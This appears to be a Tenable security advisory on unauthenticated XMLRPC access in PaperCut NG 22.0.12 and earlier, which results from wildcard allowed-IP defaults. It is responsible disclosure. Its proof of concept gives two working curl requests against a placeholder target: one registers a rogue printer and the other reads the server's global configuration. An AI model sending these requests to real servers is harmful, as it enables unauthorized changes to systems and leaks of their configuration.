Synopsis
Insufficient access controls for XMLRPC operations exist in PaperCut NG. Versions 22.0.12 and earlier are confirmed vulnerable. Later versions may also be affected due to lack of a vendor-supplied patch.
Access to XMLPRC operations in PaperCut NG are controlled by various allowed IP lists. By default many allowed IP lists (i.e., auth.providers.allowed-addresses) are configured to be a wildcard, which allows an unauthenticated remote attacker to issue XMLPRC calls.
Proof of Concept
// Add a printer; check if added printer shows up in the web UI
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>print-provider.registerPrinter</methodName><params><param><value><string>serverName</string></value></param><param><value><string>printerName</string></value></param><param><value><string>printerLocation</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/providers/xmlrpc'
// Get configuration
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/clients/xmlrpc'
Solution
PaperCut's security staff has acknowledged the behavior and possible impacts of this issue, but do not plan to provide a patch. Customers are encouraged to apply any relevant mitigations as recommended by product documentation.
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]